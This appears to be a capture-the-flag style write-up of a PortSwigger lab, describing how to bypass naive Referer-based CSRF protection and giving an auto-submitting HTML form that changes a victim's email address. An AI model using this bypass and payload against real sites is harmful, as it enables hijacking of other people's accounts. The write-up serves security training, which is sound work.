On this page
apsyleg1 min read
#portswigger #csrf #referer #web-security

CSRF with Broken Referer Validation

Lab

CSRF with broken Referer validation · Practitioner

Solution

Given

This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

Analyzing the task

We need to change the user's email by exploiting a CSRF vulnerability. There is a protection based on Referer analysis, and we need to bypass it.

Useful theory from PortSwigger

Variants of "naive" Referer-based protection:

  1. They only check the start of the URL for certain values.
  2. They just check that the Referer contains the site's domain.

The first variant is bypassed by creating a subdomain with the target site's name on your own server. The second — by including the domain anywhere in the URL, e.g. in the query string: http://attacker.com/?vul-site.com.

However, the second method won't work without Referrer-Policy: unsafe-url, because browsers now have default policies that strip the Referer (drop the query string).

I think for this lab it'll be variant 2 — something tells me PortSwigger didn't bother with the subdomain trick, but we'll see.

Recon

The route we already know — POST /my-account/change-email. Sent:

Referer: https://0acd006e047305c382a4a606007d003c.web-security-academy.net/my-account?id=wiener

OK, we send the request to Repeater and set Referer:

Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit

Response — 400 Invalid referer header.

Let's just add Host to our Referer as a query string:

?0acd006e047305c382a4a606007d003c.web-security-academy.net
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit?0acd006e047305c382a4a606007d003c.web-security-academy.net

Works in Burp, but remember Referrer-Policy: unsafe-url — needed for this to work in the victim's browser.

Final payload

  1. Add the lab server's Host into the URL.
  2. Set the Referrer-Policy: unsafe-url header.
  3. Submit the change-email form.

We'll base the payload on the previous lab's. And don't forget to add Referrer-Policy: unsafe-url on the exploit server and name the page something like /exploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net, so the Host name is included.

<form class="login-form" name="change-email-form"
      action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="hhh@p.com">
  <button class="button" type="submit">Update email</button>
</form>

<script>
  document.forms[0].submit()
</script>

On me the payload works, but PortSwigger doesn't accept it. But in the access logs I see that for some reason, when the victim navigates, she gets a 404 back.

Let me try passing Host not in the query string but as part of the URL itself: /exploit/0a5600910423b30f803c767000df00fd.web-security-academy.net.

Lab solved!